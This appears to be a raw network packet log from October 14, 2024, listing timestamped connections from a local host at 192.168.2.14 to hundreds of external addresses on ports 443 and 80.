Oct 14, 2024 17:30:06.896863937 CEST	54042	443	192.168.2.14	109.219.112.204
Oct 14, 2024 17:30:06.896873951 CEST	54042	443	192.168.2.14	212.253.173.215
Oct 14, 2024 17:30:06.896873951 CEST	54042	443	192.168.2.14	37.172.173.73
Oct 14, 2024 17:30:06.896877050 CEST	80	53274	131.8.68.95	192.168.2.14
Oct 14, 2024 17:30:06.896883011 CEST	80	53274	157.24.147.213	192.168.2.14
Oct 14, 2024 17:30:06.896888971 CEST	80	53274	4.66.154.127	192.168.2.14
Oct 14, 2024 17:30:06.896894932 CEST	54042	443	192.168.2.14	79.5.253.44
Oct 14, 2024 17:30:06.896894932 CEST	80	53274	151.12.227.36	192.168.2.14
Oct 14, 2024 17:30:06.896910906 CEST	80	53274	212.82.119.127	192.168.2.14
Oct 14, 2024 17:30:06.896914005 CEST	53274	80	192.168.2.14	131.8.68.95
Oct 14, 2024 17:30:06.896917105 CEST	80	53274	170.36.103.124	192.168.2.14
Oct 14, 2024 17:30:06.896924019 CEST	80	53274	107.156.222.153	192.168.2.14
Oct 14, 2024 17:30:06.896931887 CEST	53274	80	192.168.2.14	4.66.154.127
Oct 14, 2024 17:30:06.896931887 CEST	53274	80	192.168.2.14	151.12.227.36
Oct 14, 2024 17:30:06.896945000 CEST	54042	443	192.168.2.14	109.146.219.113
Oct 14, 2024 17:30:06.896951914 CEST	53274	80	192.168.2.14	212.82.119.127
Oct 14, 2024 17:30:06.896954060 CEST	53274	80	192.168.2.14	170.36.103.124
Oct 14, 2024 17:30:06.896966934 CEST	53274	80	192.168.2.14	107.156.222.153
Oct 14, 2024 17:30:06.896966934 CEST	54042	443	192.168.2.14	210.101.160.45
Oct 14, 2024 17:30:06.896974087 CEST	54042	443	192.168.2.14	148.212.126.97
Oct 14, 2024 17:30:06.896981955 CEST	54042	443	192.168.2.14	37.197.76.27
Oct 14, 2024 17:30:06.896991968 CEST	53274	80	192.168.2.14	157.24.147.213
Oct 14, 2024 17:30:06.897003889 CEST	54042	443	192.168.2.14	210.228.49.142
Oct 14, 2024 17:30:06.897012949 CEST	80	53274	84.192.34.11	192.168.2.14
Oct 14, 2024 17:30:06.897023916 CEST	80	53274	135.77.165.238	192.168.2.14
Oct 14, 2024 17:30:06.897034883 CEST	54042	443	192.168.2.14	118.28.144.176
Oct 14, 2024 17:30:06.897037029 CEST	80	53274	59.186.214.225	192.168.2.14
Oct 14, 2024 17:30:06.897039890 CEST	54042	443	192.168.2.14	37.200.137.119
Oct 14, 2024 17:30:06.897043943 CEST	80	53274	179.239.96.96	192.168.2.14
Oct 14, 2024 17:30:06.897057056 CEST	80	53274	86.168.42.243	192.168.2.14
Oct 14, 2024 17:30:06.897058010 CEST	54042	443	192.168.2.14	123.14.163.211
Oct 14, 2024 17:30:06.897062063 CEST	54042	443	192.168.2.14	210.154.44.92
Oct 14, 2024 17:30:06.897062063 CEST	53274	80	192.168.2.14	84.192.34.11
Oct 14, 2024 17:30:06.897063971 CEST	80	53274	223.110.174.12	192.168.2.14
Oct 14, 2024 17:30:06.897073030 CEST	80	53274	222.151.156.97	192.168.2.14
Oct 14, 2024 17:30:06.897074938 CEST	54042	443	192.168.2.14	210.60.62.194
Oct 14, 2024 17:30:06.897075891 CEST	54042	443	192.168.2.14	202.18.92.75
Oct 14, 2024 17:30:06.897079945 CEST	80	53274	202.173.7.193	192.168.2.14
Oct 14, 2024 17:30:06.897083044 CEST	53274	80	192.168.2.14	179.239.96.96
Oct 14, 2024 17:30:06.897083044 CEST	80	53274	88.136.123.62	192.168.2.14
Oct 14, 2024 17:30:06.897087097 CEST	80	53274	118.61.203.172	192.168.2.14
Oct 14, 2024 17:30:06.897093058 CEST	53274	80	192.168.2.14	59.186.214.225
Oct 14, 2024 17:30:06.897093058 CEST	53274	80	192.168.2.14	135.77.165.238
Oct 14, 2024 17:30:06.897098064 CEST	54042	443	192.168.2.14	5.139.131.225
Oct 14, 2024 17:30:06.897098064 CEST	54042	443	192.168.2.14	117.164.26.105
Oct 14, 2024 17:30:06.897098064 CEST	54042	443	192.168.2.14	212.72.61.235
Oct 14, 2024 17:30:06.897109985 CEST	53274	80	192.168.2.14	223.110.174.12
Oct 14, 2024 17:30:06.897119999 CEST	53274	80	192.168.2.14	202.173.7.193
Oct 14, 2024 17:30:06.897125959 CEST	54042	443	192.168.2.14	148.226.18.205
Oct 14, 2024 17:30:06.897125959 CEST	53274	80	192.168.2.14	86.168.42.243
Oct 14, 2024 17:30:06.897125959 CEST	54042	443	192.168.2.14	117.101.68.19
Oct 14, 2024 17:30:06.897129059 CEST	80	53274	5.248.130.96	192.168.2.14
Oct 14, 2024 17:30:06.897129059 CEST	54042	443	192.168.2.14	79.169.246.117
Oct 14, 2024 17:30:06.897135973 CEST	80	53274	5.125.54.148	192.168.2.14
Oct 14, 2024 17:30:06.897136927 CEST	53274	80	192.168.2.14	88.136.123.62
Oct 14, 2024 17:30:06.897140026 CEST	53274	80	192.168.2.14	118.61.203.172
Oct 14, 2024 17:30:06.897150040 CEST	80	53274	200.162.5.76	192.168.2.14
Oct 14, 2024 17:30:06.897150040 CEST	53274	80	192.168.2.14	222.151.156.97
Oct 14, 2024 17:30:06.897150040 CEST	54042	443	192.168.2.14	118.138.218.231
Oct 14, 2024 17:30:06.897150993 CEST	54042	443	192.168.2.14	202.87.88.59
Oct 14, 2024 17:30:06.897156000 CEST	80	53274	102.254.206.196	192.168.2.14
Oct 14, 2024 17:30:06.897170067 CEST	54042	443	192.168.2.14	148.190.200.209
Oct 14, 2024 17:30:06.897170067 CEST	80	53274	49.38.158.98	192.168.2.14
Oct 14, 2024 17:30:06.897173882 CEST	53274	80	192.168.2.14	5.248.130.96
Oct 14, 2024 17:30:06.897176981 CEST	80	53274	52.47.186.5	192.168.2.14
Oct 14, 2024 17:30:06.897190094 CEST	80	53274	216.102.104.129	192.168.2.14
Oct 14, 2024 17:30:06.897192001 CEST	53274	80	192.168.2.14	5.125.54.148
Oct 14, 2024 17:30:06.897192955 CEST	54042	443	192.168.2.14	79.178.100.57
Oct 14, 2024 17:30:06.897195101 CEST	54042	443	192.168.2.14	178.192.64.222
Oct 14, 2024 17:30:06.897195101 CEST	54042	443	192.168.2.14	118.123.148.14
Oct 14, 2024 17:30:06.897197008 CEST	80	53274	46.95.5.185	192.168.2.14
Oct 14, 2024 17:30:06.897198915 CEST	53274	80	192.168.2.14	200.162.5.76
Oct 14, 2024 17:30:06.897198915 CEST	54042	443	192.168.2.14	109.238.16.233
Oct 14, 2024 17:30:06.897202969 CEST	80	53274	166.119.103.8	192.168.2.14
Oct 14, 2024 17:30:06.897207022 CEST	53274	80	192.168.2.14	102.254.206.196
Oct 14, 2024 17:30:06.897209883 CEST	80	53274	14.124.70.232	192.168.2.14
Oct 14, 2024 17:30:06.897216082 CEST	80	53274	1.213.112.129	192.168.2.14
Oct 14, 2024 17:30:06.897218943 CEST	53274	80	192.168.2.14	52.47.186.5
Oct 14, 2024 17:30:06.897218943 CEST	53274	80	192.168.2.14	49.38.158.98
Oct 14, 2024 17:30:06.897222996 CEST	53274	80	192.168.2.14	46.95.5.185
Oct 14, 2024 17:30:06.897234917 CEST	80	53274	222.216.215.233	192.168.2.14
Oct 14, 2024 17:30:06.897245884 CEST	54042	443	192.168.2.14	42.8.132.223
Oct 14, 2024 17:30:06.897249937 CEST	53274	80	192.168.2.14	216.102.104.129
Oct 14, 2024 17:30:06.897249937 CEST	53274	80	192.168.2.14	1.213.112.129
Oct 14, 2024 17:30:06.897254944 CEST	53274	80	192.168.2.14	166.119.103.8
Oct 14, 2024 17:30:06.897254944 CEST	53274	80	192.168.2.14	14.124.70.232
Oct 14, 2024 17:30:06.897265911 CEST	53274	80	192.168.2.14	222.216.215.233
Oct 14, 2024 17:30:06.897272110 CEST	54042	443	192.168.2.14	118.6.50.145
Oct 14, 2024 17:30:06.897284985 CEST	54042	443	192.168.2.14	210.82.75.37
Oct 14, 2024 17:30:06.897293091 CEST	54042	443	192.168.2.14	5.245.162.34
Oct 14, 2024 17:30:06.897293091 CEST	54042	443	192.168.2.14	109.189.190.44
Oct 14, 2024 17:30:06.897293091 CEST	54042	443	192.168.2.14	117.7.26.179
Oct 14, 2024 17:30:06.897300005 CEST	54042	443	192.168.2.14	5.205.210.54
Oct 14, 2024 17:30:06.897339106 CEST	54042	443	192.168.2.14	2.73.147.70
Oct 14, 2024 17:30:06.897340059 CEST	54042	443	192.168.2.14	2.198.170.15
Oct 14, 2024 17:30:06.897340059 CEST	54042	443	192.168.2.14	109.59.155.93
Oct 14, 2024 17:30:06.897345066 CEST	54042	443	192.168.2.14	37.228.180.19
Oct 14, 2024 17:30:06.897349119 CEST	54042	443	192.168.2.14	117.137.0.212
Oct 14, 2024 17:30:06.897373915 CEST	54042	443	192.168.2.14	5.224.133.20
Oct 14, 2024 17:30:06.897378922 CEST	54042	443	192.168.2.14	94.214.44.172
Oct 14, 2024 17:30:06.897398949 CEST	54042	443	192.168.2.14	148.60.77.148
Oct 14, 2024 17:30:06.897418976 CEST	54042	443	192.168.2.14	118.202.11.168
Oct 14, 2024 17:30:06.897443056 CEST	54042	443	192.168.2.14	178.98.237.223
Oct 14, 2024 17:30:06.897443056 CEST	54042	443	192.168.2.14	37.145.103.38
Oct 14, 2024 17:30:06.897455931 CEST	80	53274	208.91.15.34	192.168.2.14
Oct 14, 2024 17:30:06.897458076 CEST	54042	443	192.168.2.14	118.106.204.225
Oct 14, 2024 17:30:06.897461891 CEST	54042	443	192.168.2.14	42.140.165.109
Oct 14, 2024 17:30:06.897463083 CEST	80	53274	135.230.39.187	192.168.2.14
Oct 14, 2024 17:30:06.897469997 CEST	80	53274	36.23.12.68	192.168.2.14
Oct 14, 2024 17:30:06.897475958 CEST	80	53274	153.121.241.205	192.168.2.14
Oct 14, 2024 17:30:06.897476912 CEST	54042	443	192.168.2.14	117.64.148.175
Oct 14, 2024 17:30:06.897476912 CEST	54042	443	192.168.2.14	2.87.95.36
Oct 14, 2024 17:30:06.897484064 CEST	80	53274	84.45.11.254	192.168.2.14
Oct 14, 2024 17:30:06.897490025 CEST	80	53274	150.183.219.221	192.168.2.14
Oct 14, 2024 17:30:06.897490978 CEST	54042	443	192.168.2.14	210.25.218.210
Oct 14, 2024 17:30:06.897495985 CEST	80	53274	109.1.212.25	192.168.2.14
Oct 14, 2024 17:30:06.897495985 CEST	53274	80	192.168.2.14	135.230.39.187
Oct 14, 2024 17:30:06.897502899 CEST	80	53274	118.80.19.11	192.168.2.14
Oct 14, 2024 17:30:06.897509098 CEST	80	53274	25.96.94.154	192.168.2.14
Oct 14, 2024 17:30:06.897511959 CEST	53274	80	192.168.2.14	208.91.15.34
Oct 14, 2024 17:30:06.897511959 CEST	53274	80	192.168.2.14	36.23.12.68
Oct 14, 2024 17:30:06.897515059 CEST	80	53274	138.20.242.68	192.168.2.14
Oct 14, 2024 17:30:06.897524118 CEST	54042	443	192.168.2.14	37.221.11.136
Oct 14, 2024 17:30:06.897527933 CEST	80	53274	198.165.226.16	192.168.2.14
Oct 14, 2024 17:30:06.897533894 CEST	80	53274	132.245.213.83	192.168.2.14
Oct 14, 2024 17:30:06.897533894 CEST	53274	80	192.168.2.14	153.121.241.205
Oct 14, 2024 17:30:06.897533894 CEST	53274	80	192.168.2.14	84.45.11.254
Oct 14, 2024 17:30:06.897536993 CEST	53274	80	192.168.2.14	150.183.219.221
Oct 14, 2024 17:30:06.897541046 CEST	53274	80	192.168.2.14	118.80.19.11
Oct 14, 2024 17:30:06.897542953 CEST	54042	443	192.168.2.14	5.129.239.155
Oct 14, 2024 17:30:06.897551060 CEST	53274	80	192.168.2.14	109.1.212.25
Oct 14, 2024 17:30:06.897568941 CEST	53274	80	192.168.2.14	25.96.94.154
Oct 14, 2024 17:30:06.897568941 CEST	53274	80	192.168.2.14	198.165.226.16
Oct 14, 2024 17:30:06.897571087 CEST	53274	80	192.168.2.14	138.20.242.68
Oct 14, 2024 17:30:06.897589922 CEST	54042	443	192.168.2.14	2.202.37.67
Oct 14, 2024 17:30:06.897623062 CEST	54042	443	192.168.2.14	94.227.101.234
Oct 14, 2024 17:30:06.897624016 CEST	53274	80	192.168.2.14	132.245.213.83
Oct 14, 2024 17:30:06.897624016 CEST	54042	443	192.168.2.14	212.33.81.23
Oct 14, 2024 17:30:06.897641897 CEST	54042	443	192.168.2.14	5.79.165.245
Oct 14, 2024 17:30:06.897660017 CEST	54042	443	192.168.2.14	94.238.170.126
Oct 14, 2024 17:30:06.897666931 CEST	54042	443	192.168.2.14	5.68.209.100
Oct 14, 2024 17:30:06.897667885 CEST	54042	443	192.168.2.14	118.44.130.68
Oct 14, 2024 17:30:06.897669077 CEST	54042	443	192.168.2.14	79.82.202.224
Oct 14, 2024 17:30:06.897674084 CEST	54042	443	192.168.2.14	118.179.42.137
Oct 14, 2024 17:30:06.897681952 CEST	54042	443	192.168.2.14	123.53.126.65
Oct 14, 2024 17:30:06.897682905 CEST	54042	443	192.168.2.14	117.29.143.179
Oct 14, 2024 17:30:06.897697926 CEST	54042	443	192.168.2.14	94.205.67.46
Oct 14, 2024 17:30:06.897707939 CEST	80	53274	43.12.145.157	192.168.2.14
Oct 14, 2024 17:30:06.897715092 CEST	80	53274	94.153.29.110	192.168.2.14
Oct 14, 2024 17:30:06.897728920 CEST	80	53274	49.204.98.200	192.168.2.14
Oct 14, 2024 17:30:06.897730112 CEST	54042	443	192.168.2.14	94.23.122.142
Oct 14, 2024 17:30:06.897733927 CEST	80	53274	46.79.245.39	192.168.2.14
Oct 14, 2024 17:30:06.897741079 CEST	80	53274	166.133.56.255	192.168.2.14
Oct 14, 2024 17:30:06.897746086 CEST	54042	443	192.168.2.14	117.32.69.19
Oct 14, 2024 17:30:06.897747040 CEST	80	53274	9.177.216.58	192.168.2.14
Oct 14, 2024 17:30:06.897758007 CEST	53274	80	192.168.2.14	43.12.145.157
Oct 14, 2024 17:30:06.897778034 CEST	53274	80	192.168.2.14	46.79.245.39
Oct 14, 2024 17:30:06.897779942 CEST	53274	80	192.168.2.14	166.133.56.255
Oct 14, 2024 17:30:06.897783995 CEST	54042	443	192.168.2.14	178.208.219.96
Oct 14, 2024 17:30:06.897783995 CEST	54042	443	192.168.2.14	94.24.45.195
Oct 14, 2024 17:30:06.897784948 CEST	53274	80	192.168.2.14	9.177.216.58
Oct 14, 2024 17:30:06.897802114 CEST	53274	80	192.168.2.14	49.204.98.200
Oct 14, 2024 17:30:06.897802114 CEST	54042	443	192.168.2.14	148.221.224.10
Oct 14, 2024 17:30:06.897803068 CEST	54042	443	192.168.2.14	118.155.35.160
Oct 14, 2024 17:30:06.897803068 CEST	53274	80	192.168.2.14	94.153.29.110
Oct 14, 2024 17:30:06.897821903 CEST	54042	443	192.168.2.14	210.157.241.151
Oct 14, 2024 17:30:06.897845984 CEST	54042	443	192.168.2.14	109.153.236.0
Oct 14, 2024 17:30:06.897845984 CEST	54042	443	192.168.2.14	212.228.226.161
Oct 14, 2024 17:30:06.897881031 CEST	54042	443	192.168.2.14	109.189.174.169
Oct 14, 2024 17:30:06.897896051 CEST	54042	443	192.168.2.14	42.170.189.161
Oct 14, 2024 17:30:06.897905111 CEST	54042	443	192.168.2.14	202.93.61.197
Oct 14, 2024 17:30:06.897905111 CEST	54042	443	192.168.2.14	109.222.62.194
Oct 14, 2024 17:30:06.897905111 CEST	54042	443	192.168.2.14	118.36.171.217
Oct 14, 2024 17:30:06.897927046 CEST	54042	443	192.168.2.14	202.136.63.177
Oct 14, 2024 17:30:06.897941113 CEST	54042	443	192.168.2.14	212.16.23.133
Oct 14, 2024 17:30:06.897943020 CEST	54042	443	192.168.2.14	94.232.10.69
Oct 14, 2024 17:30:06.897965908 CEST	54042	443	192.168.2.14	178.6.61.119
Oct 14, 2024 17:30:06.897989988 CEST	54042	443	192.168.2.14	212.206.225.177
Oct 14, 2024 17:30:06.898008108 CEST	54042	443	192.168.2.14	109.99.28.102
Oct 14, 2024 17:30:06.898008108 CEST	54042	443	192.168.2.14	210.0.171.54
Oct 14, 2024 17:30:06.898039103 CEST	54042	443	192.168.2.14	37.180.23.3
Oct 14, 2024 17:30:06.898041010 CEST	54042	443	192.168.2.14	210.72.131.193
Oct 14, 2024 17:30:06.898041010 CEST	54042	443	192.168.2.14	2.179.241.113
Oct 14, 2024 17:30:06.898042917 CEST	54042	443	192.168.2.14	210.89.64.7
Oct 14, 2024 17:30:06.898082018 CEST	54042	443	192.168.2.14	212.220.237.236
Oct 14, 2024 17:30:06.898082018 CEST	54042	443	192.168.2.14	212.209.44.235
Oct 14, 2024 17:30:06.898108959 CEST	54042	443	192.168.2.14	212.162.46.184
Oct 14, 2024 17:30:06.898123026 CEST	54042	443	192.168.2.14	94.240.44.208
Oct 14, 2024 17:30:06.898142099 CEST	54042	443	192.168.2.14	37.115.247.224
Oct 14, 2024 17:30:06.898144007 CEST	54042	443	192.168.2.14	202.102.120.182
Oct 14, 2024 17:30:06.898150921 CEST	54042	443	192.168.2.14	178.114.171.5
Oct 14, 2024 17:30:06.898150921 CEST	54042	443	192.168.2.14	118.238.62.192
Oct 14, 2024 17:30:06.898169041 CEST	54042	443	192.168.2.14	79.37.187.84
Oct 14, 2024 17:30:06.898174047 CEST	54042	443	192.168.2.14	2.217.12.153
Oct 14, 2024 17:30:06.898189068 CEST	54042	443	192.168.2.14	5.175.197.223
Oct 14, 2024 17:30:06.898207903 CEST	54042	443	192.168.2.14	178.183.98.50
Oct 14, 2024 17:30:06.898231983 CEST	54042	443	192.168.2.14	42.77.48.41
Oct 14, 2024 17:30:06.898248911 CEST	54042	443	192.168.2.14	94.128.211.240
Oct 14, 2024 17:30:06.898260117 CEST	54042	443	192.168.2.14	37.39.119.3
Oct 14, 2024 17:30:06.898278952 CEST	54042	443	192.168.2.14	79.142.87.195
Oct 14, 2024 17:30:06.898279905 CEST	54042	443	192.168.2.14	148.77.134.5
Oct 14, 2024 17:30:06.898288012 CEST	54042	443	192.168.2.14	202.162.203.65
Oct 14, 2024 17:30:06.898312092 CEST	54042	443	192.168.2.14	37.148.23.89
Oct 14, 2024 17:30:06.898327112 CEST	54042	443	192.168.2.14	178.198.152.141
Oct 14, 2024 17:30:06.898328066 CEST	54042	443	192.168.2.14	148.169.88.95
Oct 14, 2024 17:30:06.898348093 CEST	54042	443	192.168.2.14	5.113.80.44
Oct 14, 2024 17:30:06.898353100 CEST	54042	443	192.168.2.14	109.227.44.44
Oct 14, 2024 17:30:06.898369074 CEST	54042	443	192.168.2.14	118.69.197.58
Oct 14, 2024 17:30:06.898369074 CEST	54042	443	192.168.2.14	148.179.61.53
Oct 14, 2024 17:30:06.898369074 CEST	54042	443	192.168.2.14	37.117.78.140
Oct 14, 2024 17:30:06.898371935 CEST	54042	443	192.168.2.14	118.196.95.121
Oct 14, 2024 17:30:06.898395061 CEST	54042	443	192.168.2.14	178.68.23.218
Oct 14, 2024 17:30:06.898438931 CEST	54042	443	192.168.2.14	109.122.187.229
Oct 14, 2024 17:30:06.898449898 CEST	54042	443	192.168.2.14	79.126.51.11
Oct 14, 2024 17:30:06.898461103 CEST	54042	443	192.168.2.14	202.78.88.9
Oct 14, 2024 17:30:06.898468018 CEST	54042	443	192.168.2.14	79.254.37.243
Oct 14, 2024 17:30:06.898472071 CEST	54042	443	192.168.2.14	5.224.218.86
Oct 14, 2024 17:30:06.898492098 CEST	54042	443	192.168.2.14	5.106.80.138
Oct 14, 2024 17:30:06.898493052 CEST	54042	443	192.168.2.14	210.4.140.79
Oct 14, 2024 17:30:06.898504972 CEST	54042	443	192.168.2.14	37.216.128.54
Oct 14, 2024 17:30:06.898526907 CEST	54042	443	192.168.2.14	123.100.31.108
Oct 14, 2024 17:30:06.898531914 CEST	54042	443	192.168.2.14	178.5.55.110
Oct 14, 2024 17:30:06.898566008 CEST	54042	443	192.168.2.14	210.8.74.34
Oct 14, 2024 17:30:06.898581028 CEST	54042	443	192.168.2.14	212.144.69.115
Oct 14, 2024 17:30:06.898597002 CEST	54042	443	192.168.2.14	210.136.56.68
Oct 14, 2024 17:30:06.898601055 CEST	54042	443	192.168.2.14	42.178.35.194
Oct 14, 2024 17:30:06.898602009 CEST	54042	443	192.168.2.14	37.198.102.88
Oct 14, 2024 17:30:06.898613930 CEST	54042	443	192.168.2.14	123.222.150.183
Oct 14, 2024 17:30:06.898621082 CEST	54042	443	192.168.2.14	117.201.95.74
Oct 14, 2024 17:30:06.898634911 CEST	54042	443	192.168.2.14	5.44.158.56
Oct 14, 2024 17:30:06.898638964 CEST	54042	443	192.168.2.14	118.179.134.250
Oct 14, 2024 17:30:06.898638964 CEST	54042	443	192.168.2.14	2.85.46.182
Oct 14, 2024 17:30:06.898653030 CEST	54042	443	192.168.2.14	42.120.231.224
Oct 14, 2024 17:30:06.898680925 CEST	54042	443	192.168.2.14	94.58.154.76
Oct 14, 2024 17:30:06.898694038 CEST	54042	443	192.168.2.14	109.209.98.45
Oct 14, 2024 17:30:06.898757935 CEST	54042	443	192.168.2.14	123.204.149.234
Oct 14, 2024 17:30:06.898772001 CEST	54042	443	192.168.2.14	212.114.211.220
Oct 14, 2024 17:30:06.898772001 CEST	54042	443	192.168.2.14	178.62.230.105
Oct 14, 2024 17:30:06.898773909 CEST	54042	443	192.168.2.14	109.225.232.245
Oct 14, 2024 17:30:06.898773909 CEST	54042	443	192.168.2.14	117.16.224.227
Oct 14, 2024 17:30:06.898775101 CEST	54042	443	192.168.2.14	210.211.126.214
Oct 14, 2024 17:30:06.898777962 CEST	54042	443	192.168.2.14	94.62.96.251
Oct 14, 2024 17:30:06.898777962 CEST	54042	443	192.168.2.14	5.175.77.75
Oct 14, 2024 17:30:06.898793936 CEST	54042	443	192.168.2.14	5.215.115.141
Oct 14, 2024 17:30:06.898797989 CEST	54042	443	192.168.2.14	2.47.244.241
Oct 14, 2024 17:30:06.898828030 CEST	54042	443	192.168.2.14	37.112.161.43
Oct 14, 2024 17:30:06.898838997 CEST	54042	443	192.168.2.14	123.129.110.47
Oct 14, 2024 17:30:06.898845911 CEST	54042	443	192.168.2.14	5.93.123.227
Oct 14, 2024 17:30:06.898896933 CEST	54042	443	192.168.2.14	109.93.87.69
Oct 14, 2024 17:30:06.898900986 CEST	54042	443	192.168.2.14	148.111.180.250
Oct 14, 2024 17:30:06.898920059 CEST	54042	443	192.168.2.14	123.133.244.77
Oct 14, 2024 17:30:06.898921013 CEST	54042	443	192.168.2.14	210.50.127.175
Oct 14, 2024 17:30:06.898924112 CEST	54042	443	192.168.2.14	2.55.86.243
Oct 14, 2024 17:30:06.898946047 CEST	54042	443	192.168.2.14	210.12.188.215
Oct 14, 2024 17:30:06.898952961 CEST	54042	443	192.168.2.14	109.218.16.101
Oct 14, 2024 17:30:06.898964882 CEST	54042	443	192.168.2.14	37.33.44.50
Oct 14, 2024 17:30:06.898966074 CEST	54042	443	192.168.2.14	37.78.196.68
Oct 14, 2024 17:30:06.898987055 CEST	54042	443	192.168.2.14	109.123.135.152
Oct 14, 2024 17:30:06.899033070 CEST	54042	443	192.168.2.14	210.61.67.35
Oct 14, 2024 17:30:06.899049044 CEST	54042	443	192.168.2.14	178.169.243.178
Oct 14, 2024 17:30:06.899056911 CEST	54042	443	192.168.2.14	202.255.118.250
Oct 14, 2024 17:30:06.899058104 CEST	54042	443	192.168.2.14	94.140.46.209
Oct 14, 2024 17:30:06.899065018 CEST	54042	443	192.168.2.14	117.29.181.236
Oct 14, 2024 17:30:06.899075985 CEST	54042	443	192.168.2.14	117.229.102.191
Oct 14, 2024 17:30:06.899096012 CEST	54042	443	192.168.2.14	2.232.144.57
Oct 14, 2024 17:30:06.899096966 CEST	54042	443	192.168.2.14	42.235.60.153
Oct 14, 2024 17:30:06.899097919 CEST	54042	443	192.168.2.14	2.164.171.87
Oct 14, 2024 17:30:06.899115086 CEST	54042	443	192.168.2.14	212.10.176.186
Oct 14, 2024 17:30:06.899128914 CEST	54042	443	192.168.2.14	210.223.69.59
Oct 14, 2024 17:30:06.899163961 CEST	54042	443	192.168.2.14	5.226.231.218
Oct 14, 2024 17:30:06.899178028 CEST	54042	443	192.168.2.14	178.140.106.182
Oct 14, 2024 17:30:06.899195910 CEST	54042	443	192.168.2.14	210.238.215.147
Oct 14, 2024 17:30:06.899199009 CEST	54042	443	192.168.2.14	79.41.145.7
Oct 14, 2024 17:30:06.899205923 CEST	54042	443	192.168.2.14	2.93.26.185
Oct 14, 2024 17:30:06.899223089 CEST	54042	443	192.168.2.14	94.121.45.91
Oct 14, 2024 17:30:06.899223089 CEST	54042	443	192.168.2.14	42.229.92.87
Oct 14, 2024 17:30:06.899224997 CEST	54042	443	192.168.2.14	2.95.140.220
Oct 14, 2024 17:30:06.899240971 CEST	54042	443	192.168.2.14	202.156.133.52
Oct 14, 2024 17:30:06.899244070 CEST	54042	443	192.168.2.14	178.6.69.139
Oct 14, 2024 17:30:06.899245024 CEST	54042	443	192.168.2.14	37.3.251.46
Oct 14, 2024 17:30:06.899270058 CEST	54042	443	192.168.2.14	5.63.222.17
Oct 14, 2024 17:30:06.899286985 CEST	54042	443	192.168.2.14	42.218.239.125
Oct 14, 2024 17:30:06.899317980 CEST	54042	443	192.168.2.14	37.246.61.92
Oct 14, 2024 17:30:06.899322987 CEST	54042	443	192.168.2.14	5.52.32.132
Oct 14, 2024 17:30:06.899322987 CEST	54042	443	192.168.2.14	212.122.204.144
Oct 14, 2024 17:30:06.899338961 CEST	54042	443	192.168.2.14	79.23.165.177
Oct 14, 2024 17:30:06.899342060 CEST	54042	443	192.168.2.14	118.240.160.162
Oct 14, 2024 17:30:06.899342060 CEST	54042	443	192.168.2.14	210.72.60.34
Oct 14, 2024 17:30:06.899368048 CEST	54042	443	192.168.2.14	42.168.136.75
Oct 14, 2024 17:30:06.899375916 CEST	54042	443	192.168.2.14	202.107.70.243
Oct 14, 2024 17:30:06.899375916 CEST	54042	443	192.168.2.14	42.225.207.10
Oct 14, 2024 17:30:06.899393082 CEST	54042	443	192.168.2.14	123.226.252.191
Oct 14, 2024 17:30:06.899398088 CEST	54042	443	192.168.2.14	5.171.149.244
Oct 14, 2024 17:30:06.899405956 CEST	54042	443	192.168.2.14	2.199.195.122
Oct 14, 2024 17:30:06.899418116 CEST	54042	443	192.168.2.14	118.13.134.139
Oct 14, 2024 17:30:06.899455070 CEST	54042	443	192.168.2.14	94.93.160.120
Oct 14, 2024 17:30:06.899456978 CEST	54042	443	192.168.2.14	210.28.191.172
Oct 14, 2024 17:30:06.899472952 CEST	54042	443	192.168.2.14	117.188.53.191
Oct 14, 2024 17:30:06.899475098 CEST	54042	443	192.168.2.14	202.111.47.152
Oct 14, 2024 17:30:06.899475098 CEST	54042	443	192.168.2.14	148.252.228.169
Oct 14, 2024 17:30:06.899492025 CEST	54042	443	192.168.2.14	178.101.147.125
Oct 14, 2024 17:30:06.899499893 CEST	54042	443	192.168.2.14	178.82.108.53
Oct 14, 2024 17:30:06.899506092 CEST	54042	443	192.168.2.14	79.83.96.53
Oct 14, 2024 17:30:06.899524927 CEST	54042	443	192.168.2.14	202.255.186.238
Oct 14, 2024 17:30:06.899527073 CEST	54042	443	192.168.2.14	42.65.207.246
Oct 14, 2024 17:30:06.899527073 CEST	54042	443	192.168.2.14	210.207.136.246
Oct 14, 2024 17:30:06.899549007 CEST	54042	443	192.168.2.14	42.195.78.170
Oct 14, 2024 17:30:06.899564981 CEST	54042	443	192.168.2.14	5.142.221.121
Oct 14, 2024 17:30:06.899597883 CEST	54042	443	192.168.2.14	148.98.248.18
Oct 14, 2024 17:30:06.899600029 CEST	54042	443	192.168.2.14	178.242.190.134
Oct 14, 2024 17:30:06.899611950 CEST	54042	443	192.168.2.14	109.164.78.139
Oct 14, 2024 17:30:06.899630070 CEST	54042	443	192.168.2.14	212.132.57.207
Oct 14, 2024 17:30:06.899631023 CEST	54042	443	192.168.2.14	118.156.244.87
Oct 14, 2024 17:30:06.899637938 CEST	54042	443	192.168.2.14	178.72.93.112
Oct 14, 2024 17:30:06.899653912 CEST	54042	443	192.168.2.14	210.144.201.50
Oct 14, 2024 17:30:06.899657011 CEST	54042	443	192.168.2.14	123.246.27.252
Oct 14, 2024 17:30:06.899662971 CEST	54042	443	192.168.2.14	94.226.182.11
Oct 14, 2024 17:30:06.899662971 CEST	54042	443	192.168.2.14	109.54.29.165
Oct 14, 2024 17:30:06.899693012 CEST	54042	443	192.168.2.14	37.111.19.106
Oct 14, 2024 17:30:06.899703979 CEST	54042	443	192.168.2.14	79.249.211.20
Oct 14, 2024 17:30:06.899741888 CEST	54042	443	192.168.2.14	109.45.246.57
Oct 14, 2024 17:30:06.899741888 CEST	54042	443	192.168.2.14	117.164.55.9
Oct 14, 2024 17:30:06.899755955 CEST	54042	443	192.168.2.14	79.250.14.34
Oct 14, 2024 17:30:06.899772882 CEST	54042	443	192.168.2.14	109.141.196.196
Oct 14, 2024 17:30:06.899784088 CEST	54042	443	192.168.2.14	42.9.31.92
Oct 14, 2024 17:30:06.899796963 CEST	54042	443	192.168.2.14	123.61.150.181
Oct 14, 2024 17:30:06.899807930 CEST	54042	443	192.168.2.14	2.67.92.201
Oct 14, 2024 17:30:06.899811029 CEST	54042	443	192.168.2.14	118.237.57.42
Oct 14, 2024 17:30:06.899812937 CEST	54042	443	192.168.2.14	5.85.86.104
Oct 14, 2024 17:30:06.899812937 CEST	54042	443	192.168.2.14	42.142.174.89
Oct 14, 2024 17:30:06.899812937 CEST	54042	443	192.168.2.14	117.253.107.2
Oct 14, 2024 17:30:06.899815083 CEST	54042	443	192.168.2.14	148.177.21.41
Oct 14, 2024 17:30:06.899815083 CEST	54042	443	192.168.2.14	148.168.37.177
